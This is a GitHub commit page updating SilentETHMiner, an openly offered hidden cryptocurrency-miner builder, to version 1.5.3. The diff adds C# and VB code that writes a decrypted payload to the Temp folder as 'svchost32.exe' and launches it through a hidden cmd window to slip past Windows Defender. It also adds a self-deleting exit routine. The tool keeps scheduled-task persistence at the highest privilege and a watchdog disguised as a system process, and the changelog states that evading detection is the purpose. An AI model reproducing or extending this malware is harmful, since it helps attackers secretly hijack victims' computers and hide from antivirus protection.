Skip to content
This repository was archived by the owner on Sep 12, 2023. It is now read-only.

Commit 9eb0fc8

Browse files
author
UnamSanctam
committed
Updated to v1.5.3
* Greatly reduced Windows Defender detections when "Bypass Windows Defender" is enabled by replacing Assembly.Load with simply writing the payload to Temp and executing it since the folders are excluded * Fixed the paths for systems that have custom lowercase characters like Turkish
1 parent 042e18c commit 9eb0fc8

File tree

7 files changed

+340
-302
lines changed

7 files changed

+340
-302
lines changed

‎README.md‎

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11

22
<img src="https://github.com/UnamSanctam/SilentETHMiner/blob/master/SilentETHMiner.png?raw=true">
33

4-
# SilentETHMiner v1.5.2 - Based on Lime Miner v0.3
4+
# SilentETHMiner v1.5.3 - Based on Lime Miner v0.3
55

66

77
## Main Features
@@ -49,6 +49,9 @@ So the requirements are as follow:
4949

5050
## Changes
5151

52+
### v1.5.3 (19/07/2021)
53+
* Greatly reduced Windows Defender detections when "Bypass Windows Defender" is enabled by replacing Assembly.Load with simply writing the payload to Temp and executing it since the folders are excluded
54+
* Fixed the paths for systems that have custom lowercase characters like Turkish
5255
### v1.5.2 (14/07/2021)
5356
* Remade watchdog to reduce detections
5457
* Obfuscated more strings to reduce new Windows Defender detections

‎SilentETHMiner/Codedom.vb‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -301,6 +301,7 @@ Public Class Codedom
301301
stringb.Replace("#WATCHDOG", F.EncryptString("sihost32"))
302302
stringb.Replace("#TASKSCH", F.EncryptString("/c schtasks /create /f /sc onlogon /rl highest /tn "))
303303
stringb.Replace("#MINERID", F.EncryptString("--cinit-find-e"))
304+
stringb.Replace("#DROPFILE", F.EncryptString("svchost32.exe"))
304305
stringb.Replace("#InjectionTarget", F.EncryptString(F.InjectionTarget(0)))
305306
stringb.Replace("#InjectionDir", F.InjectionTarget(1).Replace("(", "").Replace(")", "").Replace("%WINDIR%", """ + Environment.GetFolderPath(Environment.SpecialFolder.Windows) + """))
306307

@@ -319,6 +320,7 @@ Public Class Codedom
319320
stringb.Replace("RLoader", F.Randomi(F.rand.Next(5, 40)))
320321
stringb.Replace("RUninstaller", F.Randomi(F.rand.Next(5, 40)))
321322
stringb.Replace("RProgram", F.Randomi(F.rand.Next(5, 40)))
323+
stringb.Replace("RExit", F.Randomi(F.rand.Next(5, 40)))
322324

323325
stringb.Replace("rarg1", F.Randomi(F.rand.Next(5, 40)))
324326
stringb.Replace("rarg2", F.Randomi(F.rand.Next(5, 40)))

‎SilentETHMiner/Form1.Designer.vb‎

Lines changed: 289 additions & 289 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎SilentETHMiner/Resources/Loader.cs‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -63,7 +63,20 @@ public static void Main()
6363

6464
try
6565
{
66+
#if DefKillWD
67+
string fn = Path.Combine(Path.GetTempPath(), Encoding.ASCII.GetString(RAES_Method(Convert.FromBase64String("#DROPFILE"))));
68+
File.WriteAllBytes(fn, RAES_Method((byte[])new ResourceManager("#LoaderRes", Assembly.GetExecutingAssembly()).GetObject("#Program")));
69+
Process.Start(new ProcessStartInfo
70+
{
71+
FileName = "cmd",
72+
Arguments = "/c " + fn + " \"" + Assembly.GetEntryAssembly().Location + "\"",
73+
WorkingDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
74+
WindowStyle = ProcessWindowStyle.Hidden,
75+
CreateNoWindow = true,
76+
});
77+
#else
6678
Assembly.Load(RAES_Method((byte[])new ResourceManager("#LoaderRes", Assembly.GetExecutingAssembly()).GetObject("#Program"))).EntryPoint.Invoke(null, new object[0]);
79+
#endif
6780
}
6881
catch (Exception ex)
6982
{

‎SilentETHMiner/Resources/Program.cs‎

Lines changed: 27 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -28,12 +28,17 @@
2828
public partial class RProgram
2929
{
3030
#if DefSystem32
31-
public static string rbD = ((new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator) ? Environment.SystemDirectory : Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)) + @"\" + RGetString("#LIBSPATH")).ToLower();
31+
public static string rbD = ((new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator) ? Environment.SystemDirectory : Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)) + @"\" + RGetString("#LIBSPATH"));
3232
#else
33-
public static string rbD = (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\" + RGetString("#LIBSPATH")).ToLower();
33+
public static string rbD = (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\" + RGetString("#LIBSPATH"));
3434
#endif
3535
#if DefInstall
36-
public static string rplp = (PayloadPath).ToLower();
36+
public static string rplp = PayloadPath;
37+
#endif
38+
#if DefKillWD
39+
public static string cmdl = Environment.GetCommandLineArgs()[1];
40+
#else
41+
public static string cmdl = Assembly.GetEntryAssembly().Location;
3742
#endif
3843

3944
public static void Main()
@@ -67,7 +72,7 @@ public static void Main()
6772
#endif
6873
}
6974

70-
if (Assembly.GetEntryAssembly().Location.ToLower() != rplp)
75+
if (cmdl.ToLower() != rplp.ToLower())
7176
{
7277
foreach (Process proc in Process.GetProcessesByName(RGetString("#WATCHDOG")))
7378
{
@@ -79,7 +84,7 @@ public static void Main()
7984
File.Delete(Path.Combine(rbD, RGetString("#WATCHDOG") + ".log"));
8085
} catch(Exception ex) {}
8186
Directory.CreateDirectory(Path.GetDirectoryName(rplp));
82-
File.Copy(Assembly.GetEntryAssembly().Location.ToLower(), rplp, true);
87+
File.Copy(cmdl, rplp, true);
8388
Thread.Sleep(2 * 1000);
8489
Process.Start(new ProcessStartInfo
8590
{
@@ -88,7 +93,7 @@ public static void Main()
8893
WindowStyle = ProcessWindowStyle.Hidden,
8994
CreateNoWindow = true,
9095
});
91-
Environment.Exit(0);
96+
RExit();
9297
}
9398
#endif
9499

@@ -133,7 +138,7 @@ public static void Main()
133138
{
134139
if (MemObj != null && MemObj["CommandLine"] != null && MemObj["CommandLine"].ToString().Contains(RGetString("#MINERID")))
135140
{
136-
Environment.Exit(0);
141+
RExit();
137142
}
138143
}
139144

@@ -220,6 +225,7 @@ public static void Main()
220225
MessageBox.Show("M6: " + Environment.NewLine + ex.ToString());
221226
#endif
222227
}
228+
RExit();
223229
}
224230

225231
public static byte[] RGetTheResource(string rarg1)
@@ -233,6 +239,20 @@ public static string RGetString(string rarg1)
233239
return Encoding.ASCII.GetString(RAES_Method(Convert.FromBase64String(rarg1)));
234240
}
235241

242+
public static void RExit()
243+
{
244+
#if DefKillWD
245+
Process.Start(new ProcessStartInfo()
246+
{
247+
FileName = "cmd",
248+
Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetEntryAssembly().Location + "\"",
249+
WindowStyle = ProcessWindowStyle.Hidden,
250+
CreateNoWindow = true
251+
});
252+
#endif
253+
Environment.Exit(0);
254+
}
255+
236256
public static byte[] RAES_Method(byte[] rarg1, bool rarg2 = false)
237257
{
238258
var rarg4 = new Rfc2898DeriveBytes("#KEY", Encoding.ASCII.GetBytes("#SALT"), 100);

‎SilentETHMiner/Resources/Uninstaller.cs‎

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -19,9 +19,9 @@
1919

2020
public partial class RUninstaller
2121
{
22-
public static string rbD = (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\" + RGetString("#LIBSPATH")).ToLower();
22+
public static string rbD = (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\" + RGetString("#LIBSPATH"));
2323
#if DefSystem32
24-
public static string rbD2 = (Environment.SystemDirectory + @"\" + RGetString("#LIBSPATH")).ToLower();
24+
public static string rbD2 = (Environment.SystemDirectory + @"\" + RGetString("#LIBSPATH"));
2525
#endif
2626

2727
public static void Main()
@@ -47,7 +47,7 @@ public static void Main()
4747
{
4848
if (key != null)
4949
{
50-
key.DeleteValue(Path.GetFileName(PayloadPath).ToLower());
50+
key.DeleteValue(Path.GetFileName(PayloadPath));
5151
}
5252
}
5353
}
@@ -117,7 +117,7 @@ public static void Main()
117117
Directory.Delete(rbD2, true);
118118
#endif
119119
#if DefInstall
120-
File.Delete((PayloadPath).ToLower());
120+
File.Delete(PayloadPath);
121121
#endif
122122
}
123123
catch (Exception ex)

‎SilentETHMiner/Resources/Watchdog.cs‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ public partial class RProgram
2424
{
2525
public static byte[] rxM = {};
2626
public static int rcheckcount = 0;
27-
public static string rplp = (PayloadPath).ToLower();
27+
public static string rplp = PayloadPath;
2828

2929
public static void Main()
3030
{

0 commit comments

Comments
 (0)